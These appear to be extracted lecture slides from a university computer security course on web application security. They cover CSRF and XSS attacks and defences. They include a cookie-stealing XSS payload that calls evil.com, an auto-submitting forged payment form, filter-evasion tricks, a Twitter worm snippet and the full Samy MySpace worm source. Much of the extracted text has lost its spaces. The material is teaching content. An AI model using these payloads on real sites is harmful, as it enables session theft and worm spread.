Web Security: Web Application Security · OWASP Top 10 Web Vulnerabilities 1. Injection 2. Broken...

CSE484/CSEM584:ComputerSecurityandPrivacy

WebSecurity:

WebApplicationSecurity

Spring2016

Franziska(Franzi)[email protected]

ThankstoDanBoneh,DieterGollmann,DanHalperin,YoshiKohno,JohnManferdelli,JohnMitchell,VitalyShmatikov,BennetYee,andmanyothersforsampleslidesandmaterials...

WebApplications

•  Bigtrend:softwareasaWeb-basedservice–  Onlinebanking,shopping,government,billpayment,tax

prep,customerrelationshipmanagement,etc.–  Cloudcomputing

•  ApplicationshostedonWebservers– WritteninamixtureofPHP,Ruby,Java,Perl,ASP

•  Securityisrarelythemainconcern–  Poorlywrittenscriptswithinadequateinputvalidation–  Sensitivedatastoredinworld-readablefiles

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DynamicWebApplication

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Browser

Webserver

GET/HTTP/1.1

HTTP/1.1200OK

index.php

Databaseserver

OWASPTop10WebVulnerabilities

1.  Injection2.  BrokenAuthentication&SessionManagement3.  Cross-SiteScripting4.  InsecureDirectObjectReferences5.  SecurityMisconfiguration6.  SensitiveDataExposure7.  MissingFunctionLevelAccessControl8.  Cross-SiteRequestForgery9.  UsingKnownVulnerableComponents10.  UnvalidatedRedirectsandForwards

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http://www.owasp.org

Cross-SiteRequestForgery(CSRF/XSRF)

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Cookie-BasedAuthenticationRedux

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ServerBrowserPOST/login.cgi

Set-cookie:authenticator

GET…Cookie:authenticator

response

BrowserSandboxRedux

•  Basedonthesameoriginpolicy(SOP)•  Activecontent(scripts)cansendanywhere!

–  Forexample,cansubmitaPOSTrequest–  Someportsinaccessible--e.g.,SMTP(email)

•  Canonlyreadresponsefromthesameorigin– …butyoucandoalotwithjustsending!

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Cross-SiteRequestForgery

•  Userslogsintobank.com,forgetstosignoff–  Sessioncookieremainsinbrowserstate

•  Userthenvisitsamaliciouswebsitecontaining <form name=BillPayForm action=http://bank.com/BillPay.php> <input name=recipient value=badguy> …

<script> document.BillPayForm.submit(); </script>•  Browsersendscookie,paymentrequestfulfilled!•  Lesson:cookieauthenticationisnotsufficient

whensideeffectscanhappen

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CookiesinForgedRequests

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Usercredentialsautomaticallysentbybrowser

Cookie:SessionID=523FA4cd2E

SendingaCross-DomainPOST<form method="POST" action=http://othersite.com/action >...</form><script>document.forms[0].submit()</script>

•  Hiddeniframecandothisinthebackground•  Uservisitsamaliciouspage,browsersubmitsformonbehalfoftheuser– Hijackanyongoingsession(ifnoprotection)

•  Netflix:changeaccountsettings,Gmail:stealcontacts,Amazon:one-clickpurchase

– Reprogramtheuser’shomerouter– Manyotherattackspossible

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submitpost

XSRF(akaCSRF):Summary

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Attackserver

Servervictim

Uservictim

establishsessio

n

sendforgedre

quest

visitserverreceivemaliciouspage

1

2

3

4

Q:howlongdoyoustayloggedontoGmail?Financialsites?

XSRFTrueStory

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[AlexStamos]

Internet Exploder

CyberVillians.com

StockBroker.com

ticker.stockbroker.comJava

GET news.html

HTML and JSwww.cybervillians.com/news.html

B er nank eR ea l l yan A l i en ?

scriptHTML Form POSTs

Hiddeniframessubmittedformsthat…•  Changeduser’semailnotificationsettings•  Linkedanewcheckingaccount•  Transferredout$5,000•  Unlinkedtheaccount•  Restoredemailnotifications

BroaderViewofXSRF

•  Abuseofcross-sitedataexport– SOPdoesnotcontroldataexport– Maliciouswebpagecaninitiatesrequestsfromtheuser’sbrowsertoanhonestserver

– Serverthinksrequestsarepartoftheestablishedsessionbetweenthebrowserandtheserver(automaticallysendscookies)

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LoginXSRF:Attackerlogsyouinasthem!

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Userloggedinasattacker

Attacker’saccountreflectsuser’sbehavior

XSRFDefenses

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•  Secretvalidationtoken

•  Referervalidation

<inputtype=hiddenvalue=23a3af01b>

Referer:http://www.facebook.com/home.php

AddSecretTokentoForms

•  “SynchronizerTokenPattern”•  Includeasecretchallengetokenasahiddeninput

informs–  Tokenoftenbasedonuser’ssessionID–  Servermustverifycorrectnessoftokenbefore

executingsensitiveoperations

•  Whydoesthiswork?–  Same-originpolicy:attackercan’treadtokenoutof

legitimateformsloadedinuser’sbrowser,socan’tcreatefakeformswithcorrecttoken

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<inputtype=hiddenvalue=23a3af01b>

RefererValidation

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•  Lenientrefererchecking–headerisoptional•  Strictrefererchecking–headerisrequired

Referer:http://www.facebook.com/home.php

Referer:http://www.evil.com/attack.html

Referer:

üû?

WhyNotAlwaysStrictChecking?

•  Whymighttherefererheaderbesuppressed?–  Strippedbytheorganization’snetworkfilter

•  Forexample,http://intranet.corp.apple.com/projects/iphone/competitors.html

–  Strippedbythelocalmachine–  StrippedbythebrowserforHTTPS→HTTPtransitions–  Userpreferenceinbrowser–  Buggybrowser

•  Webapplicationscan’taffordtoblocktheseusers•  RefererrarelysuppressedoverHTTPS

–  LoginstypicallyuseHTTPS–helpsagainstloginXSRF!

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Cross-SiteScripting(XSS)

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PHP:HypertextProcessor

•  ServerscriptinglanguagewithC-likesyntax•  CaninterminglestaticHTMLandcode <input value=<?php echo $myvalue; ?>>•  Canembedvariablesindouble-quotestrings$user = “world”; echo “Hello $user!”;or $user = “world”; echo “Hello” . $user . “!”;

•  Formdatainglobalarrays$_GET,$_POST,…

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Echoing/“Reflecting”UserInputClassicmistakeinserver-sideapplicationshttp://naive.com/search.php?term=“JustinBieber”search.phprespondswith<html> <title>Search results</title><body>You have searched for <?php echo $_GET[term] ?>… </body>OrGET/hello.cgi?name=Bobhello.cgirespondswith<html>Welcome, dear Bob</html>

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Echoing/“Reflecting”UserInput

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naive.com/hello.cgi?name=Bob!

Welcome,dearBob

naive.com/hello.cgi?name=<img src=‘http://upload.wikimedia.org/wikipedia/en/thumb/3/39/YoshiMarioParty9.png/210px-YoshiMarioParty9.png’>!

Welcome,dear

Cross-SiteScripting(XSS)

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victim’sbrowser

naive.comevil.com

Accesssomewebpage

<iframesrc=http://naive.com/hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script>>

Forcesvictim’sbrowsertocallhello.cgionnaive.comwiththisscriptas“name”

GET/hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script> hello.cgi

executed

<HTML>Hello,dear<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script>Welcome!</HTML>

InterpretedasJavaScriptbyvictim’sbrowser;openswindowandcallssteal.cgionevil.com

GET/steal.cgi?cookie=

hello.cgi

XSS–QuickDemo<?phpsetcookie("SECRET_COOKIE", "12345");header("X-XSS-Protection: 0");?><html><body><br><br><form action="vulnerable.php" method="get">Name: <input type="text" name="name" size="80"><input type="submit" value="submit”></form><br><br><br><div id="greeting"><?php$name = $_GET["name"]; if($name) { echo "Welcome " . $_GET['name'];}?></div></body></html>

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NeedtoexplicitlydisableXSSprotection–newerbrowserstrytohelpwebdevelopersavoidthesevulnerabilities!

ReflectedXSS

•  Useristrickedintovisitinganhonestwebsite–  Phishingemail,linkinabannerad,commentinablog

•  Buginwebsitecodecausesittoechototheuser’sbrowseranarbitraryattackscript–  Theoriginofthisscriptisnowthewebsiteitself!

•  Scriptcanmanipulatewebsitecontents(DOM)toshowbogusinformation,requestsensitivedata,controlformfieldsonthispageandlinkedpages,causeuser’sbrowsertoattackotherwebsites–  Thisviolatesthe“spirit”ofthesameoriginpolicy

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BasicPatternforReflectedXSS

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Attackserver

ServervictimUservictim

visitwebsite

receivemalicious

page

clickonlinkechouserinput

1

2

3

sendvaluabled

ata

5

4

WhereMaliciousScriptsLurk

•  User-createdcontent– Socialsites,blogs,forums,wikis

•  Whenvisitorloadsthepage,websitedisplaysthecontentandvisitor’sbrowserexecutesthescript– Manysitestrytofilteroutscriptsfromusercontent,butthisisdifficult!

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StoredXSS

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Attackserver

Servervictim

Uservictim

Injectmaliciousscriptrequestcontent

receivemaliciousscript

1

23

stealvaluabled

ata

4

Storebadstuff

Usersviewordownloadcontent

TwitterWorm(2009)

•  CansaveURL-encodeddataintoTwitterprofile•  Datanotescapedwhenprofileisdisplayed•  Result:StalkDailyXSSexploit

–  Ifviewaninfectedprofile,scriptinfectsyourownprofile

var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! "); var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new XHConn(); ajaxConn.connect(“/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update"); ajaxConn1.connect(“/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update”)

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http://dcortesi.com/2009/04/11/twitter-stalkdaily-worm-postmortem/

PreventingCross-SiteScripting

•  Anyuserinputandclient-sidedatamustbepreprocessedbeforeitisusedinsideHTML

•  Remove/encodeHTMLspecialcharacters– Useagoodescapinglibrary

•  OWASPESAPI(EnterpriseSecurityAPI)•  Microsoft’sAntiXSS

–  InPHP,htmlspecialchars(string)willreplaceallspecialcharacterswiththeirHTMLcodes•  ‘becomes'“becomes"&becomes&

–  InASP.NET,Server.HtmlEncode(string)

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EvadingXSSFilters

•  PreventinginjectionofscriptsintoHTMLishard!–  Blocking“<”and“>”isnotenough–  Eventhandlers,stylesheets,encodedinputs(%3C),etc.–  phpBBallowedsimpleHTMLtagslike<b>

<bc=“>” onmouseover=“script”x=“<b”>Hello<b>•  Bewareoffilterevasiontricks(XSSCheatSheet)

–  Iffilterallowsquoting(of<script>,etc.),bewareofmalformedquoting:<IMG"""><SCRIPT>alert("XSS")</SCRIPT>">

–  LongUTF-8encoding–  Scriptsarenotonlyin<script>:<iframesrc=‘https://bank.com/login’onload=‘steal()’>

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MySpaceWorm(1)

•  UserscanpostHTMLontheirMySpacepages•  MySpacedoesnotallowscriptsinusers’HTML– No<script>,<body>,onclick,<ahref=javascript://>

•  …butdoesallow<div>tagsforCSS.–  <divstyle=“background:url(‘javascript:alert(1)’)”>

•  ButMySpacewillstripout“javascript”– Use“java<NEWLINE>script”instead

•  ButMySpacewillstripoutquotes–  Convertfromdecimalinstead:alert('doublequote:'+String.fromCharCode(34))

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http://namb.la/popular/tech.html

MySpaceWorm(2)Resultingcode:

<div id=mycode style="BACKGROUND: url('java �script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>


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MySpaceWorm(3)•  “Therewereafewothercomplicationsandthingstogetaround.Thiswasnotbyanymeansastraightforwardprocess,andnoneofthiswasmeanttocauseanydamageorpissanyoneoff.Thiswasintheinterestof..interest.Itwasinterestingandfun!”

•  Startedon“samy”MySpacepage•  Everybodywhovisitsaninfectedpage,becomes

infectedandadds“samy”asafriendandhero•  5hourslater“samy”has1,005,831friends

–  Wasadding1,000friendspersecondatitspeak

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Web Security: Web Application Security · OWASP Top 10 Web Vulnerabilities 1. Injection 2. Broken...

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